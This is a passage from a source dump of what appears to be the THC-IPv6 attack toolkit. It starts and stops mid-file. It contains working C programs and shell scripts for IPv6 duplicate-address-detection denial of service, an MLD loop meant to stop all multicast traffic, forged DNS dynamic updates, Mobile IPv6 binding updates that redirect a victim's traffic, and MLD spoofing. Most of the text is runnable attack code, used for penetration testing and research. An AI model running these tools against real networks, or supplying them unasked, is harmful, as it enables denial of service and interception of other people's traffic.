free(ptr4); 96 | } 97 | 98 | if (fork() == 0) { 99 | usleep(200); 100 | debug = 0; 101 | thc_send_pkt(interface, pkt, &pkt_len); 102 | exit(0); 103 | } 104 | 105 | ipv6->pkt[56] = 0; 106 | ipv6->pkt[57] = 0; 107 | // new random mac for next duplicate check 108 | // but it will not create if -S option is set 109 | if (do_solicit == 0) { 110 | for (i = 2; i < 6; i++) 111 | ipv6->pkt[6 + i] = rand() % 256; 112 | memcpy(ipv6->pkt + 80, ipv6->pkt + 6, 6); 113 | } 114 | 115 | (void)wait3(NULL, WNOHANG, NULL); 116 | return; 117 | } 118 | 119 | int main(int argc, char *argv[]) { 120 | char dummy[24]; 121 | 122 | if (argc == 3 && strncmp(argv[1], "-d", 2) == 0) { 123 | argv++; 124 | argc--; 125 | debug = 1; 126 | } 127 | 128 | if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 129 | 130 | if (debug) printf("Preparing spoofed packet for speed-up\n"); 131 | 132 | while ((i = getopt(argc, argv, "S")) >= 0) { 133 | switch (i) { 134 | case 'S': 135 | do_solicit = 1; 136 | break; 137 | default: 138 | fprintf(stderr, "Error: invalid option %c\n", i); 139 | help(argv[0]); 140 | exit(-1); 141 | } 142 | } 143 | 144 | if (argc - optind < 1) help(argv[0]); 145 | 146 | interface = argv[optind]; 147 | 148 | if ((ownmac = thc_get_own_mac(interface)) == NULL) { 149 | fprintf(stderr, "Error: invalid interface %s\n", interface); 150 | exit(-1); 151 | } 152 | memset(dummy, 'X', sizeof(dummy)); 153 | dummy[16] = 2; 154 | dummy[17] = 1; 155 | memcpy(&dummy[18], ownmac, 6); 156 | 157 | if (do_solicit == 0) { // intercept by NA 158 | dst = thc_resolve6("ff02::1"); 159 | dstmac = thc_get_multicast_mac(dst); 160 | 161 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, dummy, 162 | dst, 255, 0, 0, 0, 0)) == NULL) 163 | return -1; 164 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 165 | ICMP6_NEIGHBORADV_OVERRIDE, dummy, 24, 0) < 0) 166 | return -1; 167 | if (thc_generate_pkt(interface, ownmac, dstmac, pkt, &pkt_len) < 0) 168 | return -1; 169 | 170 | } else { // intercept by NS 171 | dst = thc_resolve6("ff02::1:ff00:0"); 172 | dstmac = thc_get_multicast_mac(dst); 173 | 174 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, dummy, 175 | dst, 255, 0, 0, 0, 0)) == NULL) 176 | return -1; 177 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, dummy, 16, 0) < 0) 178 | return -1; 179 | if (thc_generate_pkt(interface, ownmac, dstmac, pkt, &pkt_len) < 0) 180 | return -1; 181 | } 182 | 183 | ipv6 = (thc_ipv6_hdr *)pkt; 184 | memset(ipv6->pkt + 56, 0, 2); // reset checksum to zero 185 | srand(time(NULL) + getpid()); 186 | for (i = 2; i < 6; i++) // set a random mac, keeping the first two bytes 187 | ipv6->pkt[6 + i] = rand() % 256; 188 | memcpy(ipv6->pkt + 80, ipv6->pkt + 6, 6); 189 | if (debug) { 190 | thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet"); 191 | printf("\n"); 192 | } 193 | memset(matchfoo, 0, sizeof(matchfoo)); 194 | 195 | printf("Started ICMP6 DAD Denial-of-Service (Press Control-C to end) ...\n"); 196 | return thc_pcap_function(interface, "icmp6", (char *)intercept, 1, NULL); 197 | } 198 | -------------------------------------------------------------------------------- /dos_mld6.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | test -z "$1" -o "$1" = "-h" && { 3 | echo "Syntax: $0 [-2] interface [target-link-local-address multicast-address]" 4 | echo If specified, the multicast address of the target will be dropped first. 5 | echo All multicast traffic will cease after a while. 6 | echo Specify -2 to use MLDv2. 7 | exit 1 8 | } 9 | 10 | X="" 11 | test "$1" = "-2" && { 12 | X="2" 13 | shift 14 | } 15 | 16 | while : ; do 17 | fake_mld${X}6 $i query :: ff02::1 1 fe80:: 11:22:33:44:55:66 33:33:00:00:00:02 18 | test -n "$3" fake_mld${X}6 $i del "$3" ff02::2 1 "$2" 11:22:33:44:55:66 19 | sleep 5 20 | done 21 | -------------------------------------------------------------------------------- /extract_hosts6.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | test -z "$1" -o "$1" = "-h" && { 3 | echo $0 FILE 4 | echo prints the host parts of IPv6 addresses in FILE 5 | #, specify - for stdin 6 | exit 1 7 | } 8 | test -e "$1" -o "$1" = "-" || { 9 | echo Error: File $1 not found 10 | exit 1 11 | } 12 | 13 | { 14 | test "$1" = "-" && { 15 | echo no 16 | } || { 17 | cat $1 | grep -E :: | grep -E -v '^[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}|[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}$' | sed 's/.*::/::/' 18 | cat $1 | grep -E -v :: | awk -F: '{print "::"$5":"$6":"$7":"$8}' 19 | cat $1 | grep -E :: | grep -E '^[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}|[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}$' | sed 's/::/:0:0:/' | awk -F: '{print "::"$5":"$6":"$7":"$8}' 20 | } 21 | } | sort -n 22 | 23 | exit 0 24 | -------------------------------------------------------------------------------- /extract_networks6.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | test -z "$1" -o "$1" = "-h" && { 3 | echo $0 FILE 4 | echo prints the networks found in FILE 5 | #, specify - for stdin 6 | exit 1 7 | } 8 | test -e "$1" -o "$1" = "-" || { 9 | echo Error: File $1 not found 10 | exit 1 11 | } 12 | 13 | { 14 | test "$1" = "-" && { 15 | echo no 16 | } || { 17 | cat $1 | grep -E :: | grep -E -v '^[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}|[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}$' | sed 's/::.*/::/' 18 | cat $1 | grep -E -v :: | awk -F: '{print $1":"$2":"$3":"$4"::"}' 19 | cat $1 | grep -E :: | grep -E '^[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}|[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}$' | sed 's/::/:0:0:/' | awk -F: '{print $1":"$2":"$3":"$4"::"}' 20 | } 21 | } | sort -n 22 | 23 | exit 0 24 | -------------------------------------------------------------------------------- /fake_dnsupdate6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "thc-ipv6.h" 11 | 12 | void noreply(int signo) { 13 | printf("Result: DNS server timeout\n"); 14 | exit(1); 15 | } 16 | 17 | int main(int argc, char **argv) { 18 | char buf[1024], *dst, *host, *domain, *ptr, *ptr2; 19 | char b1[] = {0x28, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00}; 20 | char b2[] = {0x00, 0x06, 0x00, 0x01}; 21 | char b3[] = {0xc0, 0x0c, 0x00, 0x1c, 0x00, 0xff, 22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 23 | char b4[] = {0xc0, 0x00, 0x00, 0x1c, 0x00, 0x01, 24 | 0x00, 0x01, 0x51, 0x80, 0x00, 0x10}; 25 | struct addrinfo *ai; 26 | struct addrinfo hints; 27 | int sock, pid = getpid(), dlen = 0, i = 0, len; 28 | 29 | if (argc != 4) { 30 | printf("%s %s (c) 2022 by %s %s\n\n", argv[0], VERSION, AUTHOR, RESOURCE); 31 | printf("Syntax: %s dns-server full-qualified-host-dns-name ipv6address\n\n", 32 | argv[0]); 33 | printf("Example: %s dns.test.com myhost.sub.test.com ::1\n\n", argv[0]); 34 | exit(0); 35 | } 36 | 37 | if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) 38 | printf("WARNING: %s is not working with injection!\n", argv[0]); 39 | 40 | memset(&hints, 0, sizeof(struct addrinfo)); 41 | hints.ai_family = AF_UNSPEC; 42 | hints.ai_socktype = SOCK_DGRAM; 43 | hints.ai_protocol = IPPROTO_UDP; 44 | if (getaddrinfo(argv[1], "53", &hints, &ai) != 0) { 45 | fprintf(stderr, "Error: unable to resolve dns server %s\n", argv[1]); 46 | exit(-1); 47 | } 48 | 49 | if ((sock = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol)) < 0) { 50 | fprintf(stderr, "Error: unable to resolve dns server %s\n", argv[1]); 51 | exit(-1); 52 | } 53 | 54 | if (connect(sock, ai->ai_addr, ai->ai_addrlen) < 0) { 55 | fprintf(stderr, "Error: unable to connect to dns server %s\n", argv[1]); 56 | exit(-1); 57 | } 58 | 59 | freeaddrinfo(ai); 60 | if ((dst = thc_resolve6(argv[3])) == NULL) { 61 | fprintf(stderr, "Error: not a valid IPv6 address: %s\n", argv[3]); 62 | exit(-1); 63 | } 64 | 65 | memcpy(buf, (char *)&pid + _TAKE2, 2); 66 | memcpy(buf + 2, b1, sizeof(b1)); 67 | i = 2 + sizeof(b1); 68 | 69 | // domain-encoded-here foo.com == \x03foo\x03com\x00 == dlen 70 | host = argv[2]; 71 | if ((domain = index(argv[2], '.')) == NULL) { 72 | fprintf(stderr, "Error: not a valid full-qualified-host-name: %s\n", 73 | argv[2]); 74 | exit(-1); 75 | } 76 | *domain = 0; 77 | ptr = domain; 78 | do { 79 | ptr++; 80 | if ((ptr2 = index(ptr, '.')) != NULL) *ptr2 = 0; 81 | len = strlen(ptr); 82 | buf[i++] = len; 83 | memcpy(buf + i, ptr, len); 84 | i += len; 85 | dlen += (len + 1); 86 | ptr = ptr2; 87 | } while (ptr != NULL); 88 | buf[i++] = 0; 89 | dlen++; 90 | 91 | memcpy(buf + i, b2, sizeof(b2)); 92 | i += sizeof(b2); 93 | 94 | // host-encoded 95 | len = strlen(host); 96 | buf[i++] = len; 97 | memcpy(buf + i, host, len); 98 | i += len; 99 | memcpy(buf + i, b3, sizeof(b3)); 100 | i += sizeof(b3); 101 | b4[1] = dlen + 16; 102 | memcpy(buf + i, b4, sizeof(b4)); 103 | i += sizeof(b4); 104 | memcpy(buf + i, dst, 16); 105 | i += 16; 106 | 107 | send(sock, buf, i, 0); 108 | signal(SIGALRM, noreply); 109 | alarm(5); 110 | memset(buf, 0, sizeof(buf)); 111 | recv(sock, buf, sizeof(buf), 0); 112 | alarm(0); 113 | 114 | if ((buf[3] & 9) == 9) { 115 | printf("Result: server not responsible for zone or update not supported\n"); 116 | exit(1); 117 | } else if ((buf[3] & 15) == 1) { 118 | printf("Result: authentication required, update attempt failed\n"); 119 | exit(1); 120 | } else if ((buf[3] & 1) == 1) { 121 | printf("Result: unknown error, update attempt failed\n"); 122 | exit(1); 123 | } else 124 | printf("Result: update successful!\n"); 125 | 126 | close(sock); 127 | return 0; 128 | } 129 | -------------------------------------------------------------------------------- /fake_mipv6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | unsigned char buf[64]; 14 | int buf_len = 0; 15 | 16 | void help(char *prg) { 17 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 18 | printf( 19 | "Syntax: %s interface home-address home-agent-address " 20 | "care-of-address\n\n", 21 | prg); 22 | printf( 23 | "If the mobile IPv6 home-agent is mis-configured to accept MIPV6 updates " 24 | "without\n"); 25 | printf( 26 | "IPSEC, this will redirect all packets for home-address to " 27 | "care-of-address\n"); 28 | // printf("Use -r to use raw mode.\n\n"); 29 | exit(-1); 30 | } 31 | 32 | int main(int argc, char *argv[]) { 33 | unsigned char *pkt1 = NULL; 34 | unsigned char *h = NULL, *ha = NULL, *coa = NULL, *mac = NULL; 35 | int pkt1_len = 0, rawmode = 0; 36 | unsigned int id = 2, i; 37 | char * interface; 38 | thc_ipv6_hdr * hdr; 39 | 40 | if (argc < 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 41 | 42 | if (strcmp(argv[1], "-r") == 0) { 43 | thc_ipv6_rawmode(1); 44 | rawmode = 1; 45 | argv++; 46 | argc--; 47 | } 48 | 49 | interface = argv[1]; 50 | h = thc_resolve6(argv[2]); 51 | ha = thc_resolve6(argv[3]); 52 | coa = thc_resolve6(argv[4]); 53 | 54 | if (rawmode == 0 && (mac = thc_get_mac(interface, coa, ha)) == NULL) { 55 | fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); 56 | exit(-1); 57 | } 58 | 59 | if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) { 60 | fprintf(stderr, "Error: invalid interface %s\n", interface); 61 | exit(-1); 62 | } 63 | 64 | for (i = 0; i < 4; i++) { 65 | memset(buf, 0, sizeof(buf)); 66 | buf[0] = 1; 67 | buf[1] = 2; 68 | buf[4] = 201; 69 | buf[5] = 16; 70 | memcpy(&buf[6], h, 16); 71 | buf_len = 22; 72 | 73 | if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, 74 | coa, ha, 64, 0, 0, 0, 0)) == NULL) 75 | return -1; 76 | hdr = (thc_ipv6_hdr *)pkt1; 77 | hdr->original_src = h; 78 | if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, buf_len) < 0) return -1; 79 | memset(buf, 0, sizeof(buf)); 80 | buf[0] = 59; 81 | buf[1] = 3; 82 | buf[2] = 5; 83 | buf[3] = 0; 84 | buf[6] = (id % 65536) / 256; 85 | buf[7] = id % 256; 86 | buf[8] = 192; 87 | buf[10] = 0xff; 88 | buf[11] = 0xff; 89 | buf[12] = 1; 90 | buf[14] = 3; 91 | buf[15] = 16; 92 | memcpy(&buf[16], coa, 16); 93 | buf_len = 32; 94 | if (thc_add_data6(pkt1, &pkt1_len, NXT_MIPV6, buf, buf_len) < 0) return -1; 95 | 96 | thc_generate_and_send_pkt(interface, NULL, mac, pkt1, &pkt1_len); 97 | 98 | id += 16384; 99 | } 100 | 101 | return 0; 102 | } 103 | -------------------------------------------------------------------------------- /fake_mld6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | int rawmode = 0; 14 | char *multicast6 = NULL; 15 | int empty = 0; 16 | 17 | void help(char *prg) { 18 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 19 | printf( 20 | "Syntax: %s [-l] interface add|delete|query [multicast-address [ttl " 21 | "[own-ip [own-mac-address [destination-mac-address]]]]]\n\n", 22 | prg); 23 | printf( 24 | "Ad(d)vertise or delete yourself - or anyone you want - in a multicast " 25 | "group of your choice\n"); 26 | printf("Query ask on the network who is listening to multicast addresses\n"); 27 | printf( 28 | "Use -l to loop and send (in 5s intervals) until Control-C is " 29 | "pressed.\n"); 30 | // printf("Use -r to use raw mode.\n\n"); 31 | exit(-1); 32 | } 33 | 34 | void check_packets(u_char *foo, const struct pcap_pkthdr *header, 35 | const unsigned char *data) { 36 | unsigned char *ptr = (unsigned char *)data, len = header->caplen - 14; 37 | 38 | if (rawmode == 0) ptr += 14; 39 | if (do_hdr_size) { 40 | ptr += (do_hdr_size - 14); 41 | len -= (do_hdr_size - 14); 42 | if ((ptr[0] & 240) != 0x60) return; 43 | } 44 | if (debug) thc_dump_data(ptr, len, "Received Packet"); 45 | if (ptr[6] == 0 && ptr[40] == 0x3a && ptr[41] == 0 && ptr[42] == 5 && 46 | ptr[48] == ICMP6_MLD_REPORT && len >= 72) 47 | if (empty == 1 || memcmp(multicast6, ptr + 56, 16) == 0) 48 | printf("MLD Report: %s is listening on %s\n", thc_ipv62notation(ptr + 8), 49 | thc_ipv62notation(ptr + 56)); 50 | } 51 | 52 | int main(int argc, char *argv[]) { 53 | unsigned char *pkt1 = NULL, buf[24]; 54 | unsigned char *dst6 = NULL, *src6 = NULL, srcmac[16] = "", *mac = srcmac, 55 | dstmac[16] = "", *dmac = dstmac; 56 | int pkt1_len = 0, i = 0, j; 57 | char * interface, string[64] = "ip6 and not udp and not tcp"; 58 | int ttl = 1, mode = 0, wait = 0, loop = 0; 59 | pcap_t *p; 60 | 61 | memset(buf, 0, sizeof(buf)); 62 | 63 | if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { 64 | thc_ipv6_rawmode(1); 65 | rawmode = 1; 66 | argv++; 67 | argc--; 68 | } 69 | if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-l") == 0) { 70 | loop = 1; 71 | argv++; 72 | argc--; 73 | } 74 | if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { 75 | thc_ipv6_rawmode(1); 76 | rawmode = 1; 77 | argv++; 78 | argc--; 79 | } 80 | 81 | if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 82 | 83 | interface = argv[1]; 84 | if (strncasecmp(argv[2], "add", 3) == 0) mode = ICMP6_MLD_REPORT; 85 | if (strncasecmp(argv[2], "del", 3) == 0) mode = ICMP6_MLD_DONE; 86 | if (strncasecmp(argv[2], "que", 3) == 0) { 87 | mode = ICMP6_MLD_QUERY; 88 | wait = 0x0444 << 16; 89 | } 90 | if (mode == 0) { 91 | fprintf(stderr, "Error: no mode defined, specify add, delete or query\n"); 92 | exit(-1); 93 | } 94 | if (argc == 3 || argv[3] == NULL || argv[3][0] == 0) { 95 | multicast6 = thc_resolve6("::"); 96 | empty = 1; 97 | } else { 98 | if ((multicast6 = thc_resolve6(argv[3])) == NULL) { 99 | fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", 100 | argv[3]); 101 | exit(-1); 102 | } 103 | 104 | for (j = 0; j < 16; j++) 105 | i += multicast6[j]; 106 | if (i == 0) empty = 1; 107 | } 108 | if (mode == ICMP6_MLD_QUERY) { 109 | if (memcmp(multicast6, buf, 16)) 110 | dst6 = multicast6; 111 | else 112 | dst6 = thc_resolve6("ff02::1"); 113 | } else 114 | dst6 = thc_resolve6("ff02::2"); 115 | if (argv[5] != NULL && argc > 5) ttl = atoi(argv[5]); 116 | if (argv[6] != NULL && argc > 6) 117 | src6 = thc_resolve6(argv[6]); 118 | else 119 | src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); 120 | if (rawmode == 0) { 121 | if (argv[7] != NULL && argc > 7) 122 | sscanf(argv[7], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], 123 | (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], 124 | (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], 125 | (unsigned int *)&srcmac[5]); 126 | else 127 | mac = thc_get_own_mac(interface); 128 | if (argv[8] != NULL && argc > 8) 129 | sscanf(argv[8], "%x:%x:%x:%x:%x:%x", (unsigned int *)&dstmac[0], 130 | (unsigned int *)&dstmac[1], (unsigned int *)&dstmac[2], 131 | (unsigned int *)&dstmac[3], (unsigned int *)&dstmac[4], 132 | (unsigned int *)&dstmac[5]); 133 | else 134 | dmac = NULL; 135 | } 136 | 137 | if ((p = thc_pcap_init_promisc(interface, string)) == NULL) { 138 | fprintf(stderr, "Error: could not capture on interface %s with string %s\n", 139 | interface, string); 140 | exit(-1); 141 | } 142 | 143 | if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, src6, 144 | dst6, ttl, 0, 0, 0, 0)) == NULL) 145 | return -1; 146 | memset(buf, 0, sizeof(buf)); 147 | buf[0] = 5; 148 | buf[1] = 2; 149 | if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf, 6) < 0) return -1; 150 | memset(buf, 0, sizeof(buf)); 151 | memcpy(buf, multicast6, 16); 152 | if (thc_add_icmp6(pkt1, &pkt1_len, mode, 0, wait, (unsigned char *)&buf, 16, 153 | 0) < 0) 154 | return -1; 155 | if (thc_generate_pkt(interface, mac, dmac, pkt1, &pkt1_len) < 0) { 156 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 157 | exit(-1); 158 | } 159 | 160 | printf("Sending packet%s for %s%s\n", loop ? "s" : "", empty ? "::" : argv[3], 161 | loop ? " (Press Control-C to end)" : ""); 162 | do { 163 | thc_send_pkt(interface, pkt1, &pkt1_len); 164 | if (mode == ICMP6_MLD_QUERY) { 165 | sleep(5); 166 | while (thc_pcap_check(p, (char *)check_packets, NULL)) 167 | ; 168 | } 169 | } while (loop); 170 | return 0; // never reached 171 | } 172 | -------------------------------------------------------------------------------- /fake_mldrouter6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | int rawmode = 0; 14 | int empty = 0; 15 | 16 | void help(char *prg) { 17 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 18 | printf( 19 | "Syntax: %s [-l] interface advertise|solicitate|terminate [own-ip " 20 | "[own-mac-address]]\n\n", 21 | prg); 22 | printf("Announce, delete or soliciated MLD router - sourself or others.\n"); 23 | printf( 24 | "Use -l to loop and send (in 5s intervals) until Control-C is " 25 | "pressed.\n"); 26 | // printf("Use -r to use raw mode.\n\n"); 27 | exit(-1); 28 | } 29 | 30 | void check_packets(u_char *foo, const struct pcap_pkthdr *header, 31 | const unsigned char *data) { 32 | unsigned char *ptr = (unsigned char *)data; 33 | int len = header->caplen; 34 | 35 | if (rawmode == 0) { 36 | if (do_hdr_size) { 37 | ptr += do_hdr_size; 38 | len -= do_hdr_size; 39 | if ((ptr[0] & 240) != 0x60) return; 40 | } else { 41 | ptr += 14; 42 | len -= 14; 43 | } 44 | } 45 | if (debug) thc_dump_data(ptr, len, "Received Packet"); 46 | if (len > 43 && ptr[6] == 0x3a && ptr[40] == ICMP6_MLD_ROUTERADV) 47 | printf("MLD router advertisement: %s is performing MLD routing\n", 48 | thc_ipv62notation(ptr + 8)); 49 | } 50 | 51 | int main(int argc, char *argv[]) { 52 | unsigned char *pkt1 = NULL, buf[4]; 53 | unsigned char *dst6 = thc_resolve6("ff02:0:0:0:0:0:0:6a"), *src6 = NULL, 54 | srcmac[16] = "", *mac = srcmac; 55 | int pkt1_len = 0; 56 | char * interface, string[64] = "icmp6"; 57 | int ttl = 1, mode = 0, wait1 = 0, wait2 = 0, loop = 0; 58 | pcap_t *p; 59 | 60 | memset(buf, 0, sizeof(buf)); 61 | 62 | if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { 63 | thc_ipv6_rawmode(1); 64 | rawmode = 1; 65 | argv++; 66 | argc--; 67 | } 68 | if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-l") == 0) { 69 | loop = 1; 70 | argv++; 71 | argc--; 72 | } 73 | if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { 74 | thc_ipv6_rawmode(1); 75 | rawmode = 1; 76 | argv++; 77 | argc--; 78 | } 79 | 80 | if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 81 | 82 | interface = argv[1]; 83 | if (strncasecmp(argv[2], "sol", 3) == 0 || 84 | strncasecmp(argv[2], "que", 3) == 0) 85 | mode = ICMP6_MLD_ROUTERSOL; 86 | if (strncasecmp(argv[2], "ad", 2) == 0) { 87 | mode = ICMP6_MLD_ROUTERADV; 88 | wait1 = 15; 89 | wait2 = 0x00300006; 90 | } 91 | if (strncasecmp(argv[2], "ter", 3) == 0 || 92 | strncasecmp(argv[2], "del", 3) == 0) 93 | mode = ICMP6_MLD_ROUTERTERMINATION; 94 | 95 | if (mode == 0) { 96 | fprintf( 97 | stderr, 98 | "Error: no mode defined, specify solitate, advertise or terminate\n"); 99 | exit(-1); 100 | } 101 | 102 | if (argc < 4 || argv[3] == NULL || argv[3][0] == 0) 103 | src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); 104 | else 105 | src6 = thc_resolve6(argv[3]); 106 | 107 | if (argc == 5 && argv[4] != NULL && argv[4][0] != 0) 108 | sscanf(argv[4], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], 109 | (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], 110 | (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], 111 | (unsigned int *)&srcmac[5]); 112 | else 113 | mac = thc_get_own_mac(interface); 114 | 115 | if ((p = thc_pcap_init(interface, string)) == NULL) { 116 | fprintf(stderr, "Error: could not capture on interface %s with string %s\n", 117 | interface, string); 118 | exit(-1); 119 | } 120 | 121 | if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, src6, 122 | dst6, ttl, 0, 0, 0, 0)) == NULL) 123 | return -1; 124 | if (thc_add_icmp6(pkt1, &pkt1_len, mode, wait1 % 256, wait2, 125 | (unsigned char *)&buf, 0, 0) < 0) 126 | return -1; 127 | if (thc_generate_pkt(interface, mac, NULL, pkt1, &pkt1_len) < 0) { 128 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 129 | exit(-1); 130 | } 131 | 132 | printf("Sending packet%s to %s%s\n", loop ? "s" : "", argv[2], 133 | loop ? " (Press Control-C to end)" : ""); 134 | do { 135 | thc_send_pkt(interface, pkt1, &pkt1_len); 136 | sleep(5); 137 | if (mode == ICMP6_MLD_ROUTERSOL) 138 | while (thc_pcap_check(p, (char *)check_packets, NULL)) 139 | ; 140 | } while (loop); 141 | return 0; // never reached 142 | } 143 | -------------------------------------------------------------------------------- /fake_solicitate6.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "thc-ipv6.h" 13 | 14 | void help(char *prg) { 15 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 16 | printf( 17 | "Syntax: %s [-DHF] interface ip-address-solicitated [target-address " 18 | "[mac-address-solicitated [source-ip-address]]]\n\n", 19 | prg); 20 | printf( 21 | "Solicate IPv6 address on the network, sending it to the all-nodes " 22 | "multicast address\n"); 23 | // printf("Option -H adds a hop-by-hop header, -F a one shot fragment 24 | // header,\n"); printf("-D adds a large destination header which fragments 25 | // the packet.\n"); printf("Use -r to use raw mode.\n\n"); 26 | exit(-1); 27 | } 28 | 29 | int main(int argc, char *argv[]) { 30 | unsigned char *pkt1 = NULL, buf[24], buf2[6], buf3[1500]; 31 | unsigned char *unicast6, *src6 = NULL, *dst6 = NULL, srcmac[16] = "", 32 | *mac = srcmac; 33 | int pkt1_len = 0, flags, prefer = PREFER_GLOBAL, i, do_hop = 0, do_dst = 0, 34 | do_frag = 0, cnt, type = NXT_ICMP6, offset = 14; 35 | char * interface; 36 | int rawmode = 0; 37 | thc_ipv6_hdr *hdr; 38 | 39 | if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 40 | 41 | if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) 42 | printf("WARNING: %s is not working with injection!\n", argv[0]); 43 | 44 | while ((i = getopt(argc, argv, "DFHr")) >= 0) { 45 | switch (i) { 46 | case 'r': 47 | thc_ipv6_rawmode(1); 48 | rawmode = 1; 49 | break; 50 | case 'F': 51 | do_frag++; 52 | break; 53 | case 'H': 54 | do_hop = 1; 55 | break; 56 | case 'D': 57 | do_dst = 1; 58 | break; 59 | default: 60 | fprintf(stderr, "Error: invalid option %c\n", i); 61 | exit(-1); 62 | } 63 | } 64 | 65 | if (argc - optind < 2) help(argv[0]); 66 | 67 | if (do_hdr_size) offset = do_hdr_size; 68 | interface = argv[optind]; 69 | if ((unicast6 = thc_resolve6(argv[optind + 1])) == NULL) { 70 | fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", 71 | argv[optind + 1]); 72 | exit(-1); 73 | } 74 | if (argc - optind >= 3 && argv[optind + 2] != NULL) 75 | dst6 = thc_resolve6(argv[optind + 2]); 76 | else 77 | dst6 = thc_resolve6("ff02::1"); 78 | if (dst6 == NULL) { 79 | fprintf(stderr, "Error: could not resolve destination of solicitate: %s\n", 80 | argv[optind + 2]); 81 | exit(-1); 82 | } 83 | if (rawmode == 0) { 84 | if (argc - optind >= 4 && argv[optind + 3] != NULL) 85 | sscanf(argv[optind + 3], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], 86 | (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], 87 | (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], 88 | (unsigned int *)&srcmac[5]); 89 | else 90 | mac = thc_get_own_mac(interface); 91 | } 92 | if (argc - optind >= 5 && argv[optind + 4] != NULL) 93 | src6 = thc_resolve6(argv[optind + 